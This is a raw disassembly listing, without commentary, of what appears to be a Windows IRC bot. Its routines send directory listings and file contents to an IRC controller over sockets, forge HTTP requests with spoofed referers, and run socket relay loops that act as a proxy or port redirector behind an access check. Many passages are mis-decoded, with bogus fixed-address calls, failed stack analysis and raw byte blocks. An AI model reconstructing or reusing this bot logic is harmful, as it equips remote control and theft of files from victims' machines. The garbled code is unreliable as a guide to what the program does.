		jmp	loc_4106BC
; ---------------------------------------------------------------------------


loc_41056C:				; CODE XREF: sub_41011E+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410596
		push	ebx
		push	[ebp+var_368]
		call	sub_416F2B
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_410557
; ---------------------------------------------------------------------------


loc_410596:				; CODE XREF: sub_41011E+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_410696
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4301F8
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B890
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410636
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_41063B
; ---------------------------------------------------------------------------


loc_410636:				; CODE XREF: sub_41011E+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_41063B:				; CODE XREF: sub_41011E+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		jmp	short loc_4106BC
; ---------------------------------------------------------------------------


loc_410696:				; CODE XREF: sub_41011E+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_4106AD:				; CODE XREF: sub_41011E+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C030
		add	esp, 18h


loc_4106BC:				; CODE XREF: sub_41011E+31Dj
					; sub_41011E+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_4106EB
		push	7D0h
		call	dword_427064	; Sleep


loc_4106EB:				; CODE XREF: sub_41011E+226j
					; sub_41011E+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_427000	; FindNextFileA
		test	eax, eax
		jnz	loc_41033E


loc_410703:				; CODE XREF: sub_41011E+215j
		push	[ebp+arg_0]
		call	near ptr 0B40000h
		cmp	gs:[ebp+10h], ebx
		jz	short loc_410746
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416F2B
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416F2B
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41BF36
		add	esp, 14h
		jmp	short loc_41077A
; ---------------------------------------------------------------------------


loc_410746:				; CODE XREF: sub_41011E+5F1j
		cmp	[ebp+arg_C], ebx
		jz	short loc_410760
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	short loc_41077A
; ---------------------------------------------------------------------------


loc_410760:				; CODE XREF: sub_41011E+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41BF36
		add	esp, 10h


loc_41077A:				; CODE XREF: sub_41011E+626j
					; sub_41011E+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41011E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4107A0	proc near		; CODE XREF: sub_40FCEC+13Bp

var_4037C	= byte ptr -4037Ch
var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_4270EC	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410858
		push	esi
		push	ebx
		call	near ptr 0B40000h
		cmp	al, 3Bh
		mov	byte ptr [ecx+6C740C45h], 68h ;	CODE XREF: sub_4107A0+AFj
		add	[eax+eax], al
		add	[ebp-4037Bh], cl
		call	dword ptr [esi+50h]
		call	sub_41BC40
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410802
		mov	edi, [ebp+arg_4]


loc_410802:				; CODE XREF: sub_4107A0+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_427120	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_4270E8	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4D1240	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41084C
		call	dword_4D1184	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_410851
		xor	eax, eax


loc_41084C:				; CODE XREF: sub_4107A0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short near ptr loc_4107DF+6


loc_410851:				; CODE XREF: sub_4107A0+A8j
		push	ebx
		call	dword_42706C	; CloseHandle


loc_410858:				; CODE XREF: sub_4107A0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4107A0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41085D	proc near		; CODE XREF: .nsp0:0040FFEAp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B890
		test	eax, eax
		pop	ecx
		jbe	short loc_410886


loc_410870:				; CODE XREF: sub_41085D+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_41087A
		mov	byte ptr [esi+edi], 2Fh


loc_41087A:				; CODE XREF: sub_41085D+17j
		push	edi
		inc	esi
		call	sub_41B890
		cmp	esi, eax
		pop	ecx
		jb	short loc_410870


loc_410886:				; CODE XREF: sub_41085D+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41085D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41088B	proc near		; CODE XREF: .nsp0:00406CEBp

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4D1160	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4D1270	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4D11F0	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AA54
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4D1198	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410968
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410904
		mov	eax, offset byte_443398


loc_410904:				; CODE XREF: sub_41088B+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4D1240	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4D1208	; recv
		pop	esi


loc_410968:				; CODE XREF: sub_41088B+6Bj
		push	ebx
		call	dword_4D1288	; closesocket
		call	dword_4D1148	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41BF36
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4109A8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_4109A8:				; CODE XREF: sub_41088B+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_41088B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109AC	proc near		; DATA XREF: .nsp0:00407B95o

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_4D11F0	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4D1270	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_410B18
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_44412C[ecx], eax
		call	dword_4D1100	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4D121C	; bind
		test	eax, eax
		jnz	loc_410B18
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4D1218	; listen
		test	eax, eax
		jnz	loc_410B18


loc_410A5C:				; CODE XREF: sub_4109AC+C6j
					; sub_4109AC+147j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D1284	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410A5C
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_43C2BC
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_40B00E
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_444124[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_410B3D
		push	esi
		push	esi
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_444134[ecx], eax
		jz	short loc_410B03


loc_410AF0:				; CODE XREF: sub_4109AC+155j
		cmp	[ebp+var_30], esi
		jnz	loc_410A5C
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_410AF0
; ---------------------------------------------------------------------------


loc_410B03:				; CODE XREF: sub_4109AC+142j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C280
		call	sub_41581A
		pop	ecx
		pop	ecx
		jmp	short loc_410B1B
; ---------------------------------------------------------------------------


loc_410B18:				; CODE XREF: sub_4109AC+63j
					; sub_4109AC+97j ...
		mov	edi, [ebp+arg_0]


loc_410B1B:				; CODE XREF: sub_4109AC+16Aj
		push	edi
		call	dword_4D1288	; closesocket
		push	[ebp+arg_0]
		call	dword_4D1288	; closesocket
		push	[ebp+var_40]
		call	sub_40B32A
		pop	ecx
		push	esi
		call	near ptr 0B40000h
		in	eax, dx
		pop	edi
		pop	esi
sub_4109AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B3D	proc near		; DATA XREF: sub_4109AC+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C1D0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4D1270	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_410CF3
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_4D11F0	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4D1230	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_410BCD
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4D1274	; gethostbyname
		jmp	short loc_410BDB
; ---------------------------------------------------------------------------


loc_410BCD:				; CODE XREF: sub_410B3D+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4D11A8	; gethostbyaddr


loc_410BDB:				; CODE XREF: sub_410B3D+8Ej
		cmp	eax, edi
		jz	loc_410CF3
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4D1198	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_410CF3
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_43C344
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
		call	sub_40B00E
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_44412C[ebx]
		mov	dword_444124[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_444130[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset loc_410D24
		push	edi
		push	edi
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_444134[ecx], eax
		jz	short loc_410CE0


loc_410C8D:				; CODE XREF: sub_410B3D+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_410C9C
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_410C8D
; ---------------------------------------------------------------------------


loc_410C9C:				; CODE XREF: sub_410B3D+153j
		mov	ebx, 1000h


loc_410CA1:				; CODE XREF: sub_410B3D+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4D1208	; recv
		cmp	eax, edi
		jle	short loc_410CF3
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D1240	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410CA1
		jmp	short loc_410CF3
; ---------------------------------------------------------------------------


loc_410CE0:				; CODE XREF: sub_410B3D+14Ej
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C304
		call	sub_41581A
		pop	ecx
		pop	ecx


loc_410CF3:				; CODE XREF: sub_410B3D+44j
					; sub_410B3D+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_44412C[eax]
		call	dword_4D1288	; closesocket
		push	[ebp+arg_0]
		call	dword_4D1288	; closesocket
		push	[ebp+var_4]
		call	sub_40B32A
		pop	ecx
		push	edi
		call	near ptr 0B40000h
		retn	5E5Fh
sub_410B3D	endp

; ---------------------------------------------------------------------------
		pop	ebx


loc_410D24:				; DATA XREF: sub_410B3D+130o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C1D0
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410D5B:				; CODE XREF: .nsp0:00410DA0j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_444130[esi]
		call	dword_4D1208	; recv
		test	eax, eax
		jle	short loc_410DA2
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_44412C[esi]
		call	dword_4D1240	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410D5B


loc_410DA2:				; CODE XREF: .nsp0:00410D85j
		push	dword_444130[esi]
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp-14h]
		call	sub_40B32A
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0F2h
; ---------------------------------------------------------------------------
		jb	short $+2
		std
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_44412C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4D11D8	; select
		test	eax, eax
		jnz	short near ptr loc_410E44+1
		push	dword ptr [esi]
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp+8]
		call	sub_40B32A
		pop	ecx
		push	edi
		call	near ptr 0B40000h


loc_410E44:				; CODE XREF: .nsp0:00410E2Bj
		xchg	dl, [edi-73h]
		inc	ebp
		les	edx, [ebx+50h]
		push	dword ptr [esi]
		call	dword_4D1208	; recv
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr loc_410FC5+1
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr loc_410FC5+1
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	near ptr loc_410FC5+1
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4D1144	; getpeername
		test	eax, eax
		jz	short near ptr loc_410EBD+1
		call	dword_4D1184	; WSAGetLastError
		push	eax
		push	offset unk_43C41C
		call	sub_41581A
		push	dword ptr [ebp+8]
		call	sub_40B32A
		add	esp, 0Ch
		push	edi
		call	near ptr 0B40000h


loc_410EBD:				; CODE XREF: .nsp0:00410E99j
		sbb	al, 6Ah
		add	cl, [ebp+46AE845h]
		push	eax
		call	dword_4D11A8	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_410EE8
		push	dword ptr [ebp-18h]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BF36
		jmp	short loc_410EF6
; ---------------------------------------------------------------------------


loc_410EE8:				; CODE XREF: .nsp0:00410ECEj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C550


loc_410EF6:				; CODE XREF: .nsp0:00410EE6j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_443398
		push	dword ptr [esi]
		call	dword_4D1240	; send
		cmp	dword_4D3F58, edi
		jnz	short near ptr loc_410F57+1
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_411020
		add	esp, 10h
		test	eax, eax
		jnz	short near ptr loc_410F57+1
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4D1240	; send
		push	dword ptr [esi]
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp+8]
		call	sub_40B32A
		pop	ecx
		push	edi
		call	near ptr 0B40000h


loc_410F57:				; CODE XREF: .nsp0:00410F0Dj
					; .nsp0:00410F2Ej
		test	dword ptr [ebp-0AF7Bh],	458D50FFh
		aam	50h
		push	offset unk_43C3E0
		call	sub_41581A
		push	dword ptr [ebp+8]
		call	sub_4112D7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410F9F
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C3B4
		call	sub_41581A
		push	dword ptr [ebp+8]
		call	sub_40B32A
		add	esp, 0Ch
		push	ebx
		call	near ptr 0B40000h
		aas


loc_410F9F:				; CODE XREF: .nsp0:00410F7Aj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_43C388
		call	sub_41581A
		push	dword ptr [ebp+8]
		call	sub_40B32A
		add	esp, 10h
		push	edi
		call	near ptr 0B40000h


loc_410FC5:				; CODE XREF: .nsp0:00410E5Bp
					; .nsp0:00410E68p ...
		db	67h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp-1]
		push	1
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D1208	; recv
		cmp	eax, 1
		jnz	short loc_411016
		mov	esi, [ebp+0Ch]


loc_410FE4:				; CODE XREF: .nsp0:00411007j
		mov	al, [ebp-1]
		mov	[esi], al
		inc	esi
		dec	dword ptr [ebp+10h]
		jz	short loc_41100B
		test	al, al
		jz	short loc_41101A
		push	0
		lea	eax, [ebp-1]
		push	1
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D1208	; recv
		cmp	eax, 1
		jz	short loc_410FE4
		jmp	short loc_411016
; ---------------------------------------------------------------------------


loc_41100B:				; CODE XREF: .nsp0:00410FEDj
		push	offset unk_43C448
		call	sub_41581A
		pop	ecx


loc_411016:				; CODE XREF: .nsp0:00410FDFj
					; .nsp0:00411009j
		xor	eax, eax
		jmp	short loc_41101D
; ---------------------------------------------------------------------------


loc_41101A:				; CODE XREF: .nsp0:00410FF1j
		push	1
		pop	eax


loc_41101D:				; CODE XREF: .nsp0:00411018j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_411020	proc near		; CODE XREF: .nsp0:00410F24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41104B
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_43C474
		call	sub_41581A
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41104B:				; CODE XREF: sub_411020+11j
		push	1
		pop	eax
		retn
sub_411020	endp

; ---------------------------------------------------------------------------
byte_41104F	db 55h			; DATA XREF: .nsp0:00403E86o
		dd 0EC81EC8Bh, 5A4h, 5608458Bh,	59786A57h, 0BD8DF08Bh
		dd 0FFFFFDECh, 0A5F3016Ah, 0DCB8895Fh, 8D000001h, 0FFFA5C85h
		dd 26850FFh, 0FF000002h, 4D116015h, 3BF63300h, 501D74C6h
		dd 43C5E468h, 4784E800h, 75FF0000h, 0A28CE8B4h,	0C483FFFFh
		dd 59E8570Ch, 740072EFh, 12CD6857h, 4DE80041h, 0B80072EFh
		dd 2975C085h, 708C15FFh, 68500042h, 43C5A0h, 4751E8h, 0FF595900h
		dd 4D114815h, 0B475FF00h, 0FFA251E8h, 0E85759FFh, 72EF20h
		dd 106A531Eh, 56E0458Dh, 0AB52E850h, 0C4830000h, 45C7660Ch
		dd 0FF0002E0h, 15FFB075h, 4D11F0h, 6A57066Ah, 45896602h
		dd 0E47589E2h, 127015FFh, 0D88B004Dh, 0FFFFB83h, 13B84h
		dd 0B4458B00h, 0C069106Ah, 234h, 412C9889h, 458D0044h
		dd 0FF5350E0h, 4D121C15h, 0FC08500h, 11785h, 0FFFF6800h
		dd 0FF537FFFh, 4D121815h, 0FC08500h, 10385h, 0C5646800h
		dd 45C70043h, 0CF0h, 0F4758900h, 0E8F87589h, 463Ah, 87D8959h
		dd 0C7FC458Dh, 10FC45h,	8D500000h, 5350CC45h, 128415FFh
		dd 0F88B004Dh, 0FFFFF83h, 0CA84h, 875FF00h, 5008458Dh
		dd 0FF68086Ah, 570000FFh, 11D015FFh, 0F883004Dh, 0FC574FFh
		dd 0FFCE45B7h, 7589B475h, 75FF50C8h, 7C15FFD0h,	50004D12h
		dd 0FBEC858Dh, 2068FFFFh, 500043C5h, 0AD65E8h, 0EC858D00h
		dd 50FFFFFBh, 45C9E8h, 858D5700h, 0FFFFFBECh, 0E850096Ah
		dd 0FFFF9E22h, 69B84589h, 234C0h, 0B44D8B00h, 8924C483h
		dd 44412488h, 0DC458D00h, 0EC858D50h, 56FFFFFDh, 0DC16850h
		dd 458D0041h, 0FF5056F0h, 42707C15h, 0B84D8B00h, 234C969h
